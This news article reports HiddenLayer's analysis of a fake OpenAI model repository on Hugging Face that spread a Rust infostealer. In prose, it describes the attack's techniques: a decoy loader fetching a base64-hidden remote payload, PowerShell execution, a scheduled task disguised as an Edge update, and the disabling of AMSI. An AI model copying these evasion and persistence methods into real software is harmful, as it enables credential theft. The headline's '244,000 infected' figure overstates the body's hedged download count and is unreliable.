Hugging Face Duped: A Fake OpenAI Model Infects 244,000

⚡

Key Takeaways

1A malicious repository on Hugging Face, impersonating OpenAI, infected 244,000 users with infostealer malware.

2The fake model garnered 667 likes in 18 hours, a number possibly inflated by the attackers to simulate popularity.

3The malware targeted browsers, Discord, and crypto wallets, and disabled Windows security features.

💡Why it matters — This attack highlights the growing risks of public repositories for software supply chain security.

A Malicious Repository Deceives Hugging Face

A malicious repository hosted on Hugging Face, posing as an OpenAI publication, managed to distribute infostealer malware to approximately 244,000 users before being taken down. According to HiddenLayer, an AI security company, the number of downloads may have been artificially inflated by the attackers to create an impression of increased popularity, making the actual scale of the attack uncertain.

The repository, named 'Open-OSS/privacy-filter', mimicked OpenAI's Privacy Filter project. HiddenLayer revealed that the original model card had been copied almost identically, but the malicious actors added a loader.py file that retrieved and executed data-stealing software on Windows hosts.

Trend Manipulation and Supply Chain Risks

In less than 18 hours, the repository reached the top of the "trending" list on Hugging Face with 667 likes. This figure may also have been manipulated by the attackers to simulate fake popularity.

Public AI model registries, such as Hugging Face, could become risks in the software supply chain. Developers and data scientists often clone models directly into enterprise environments, potentially exposing internal systems to threats if a repository is compromised.

Technical Details of the Infection

The README file of the fake model closely resembled that of the legitimate project, but diverged by instructing users to run start.bat on Windows or python loader.py on Linux and macOS. These instructions were central to the infection chain described by HiddenLayer.

HiddenLayer warned that malicious code could be hidden in AI model files or associated installation scripts on Hugging Face and other public registries. Previous cases involved Pickle-serialized model files that bypassed platform scanners.

Malicious Loader and Persistence

The loader.py file began with decoy code resembling a normal AI model loader before transitioning to a concealed infection chain. A script disabled SSL verification, decoded a base64 encoded URL linked to jsonkeeper.com, retrieved a remote payload instruction, and transmitted commands to PowerShell on Windows machines. The use of jsonkeeper.com allowed the attacker to run the payload without changing the repository's content.

The PowerShell command then downloaded an additional batch file from a domain controlled by the attacker, and the malware established persistence by creating a scheduled task designed to resemble a legitimate Microsoft Edge update process.

The final payload was a Rust-based infostealer. According to HiddenLayer, it targeted Chromium and Firefox-based browsers, Discord local storage, cryptocurrency wallets, FileZilla configurations, and host system information. The malware also attempted to disable the Windows Anti-Malware Scan Interface and Event Tracing.

HiddenLayer also found six other Hugging Face repositories containing nearly identical loader logic, sharing infrastructure with the cited attack.

Response and Recommendations

HiddenLayer advised anyone who cloned Open-OSS/privacy-filter and executed start.bat, python loader.py, or any file from the repository on a Windows host to consider the system compromised and recommends reinstalling the systems. Browser sessions should be treated as compromised even if passwords are not stored locally, as session cookies allow attackers to bypass multi-factor authentication under certain circumstances.

Hugging Face has confirmed that the repository has been removed.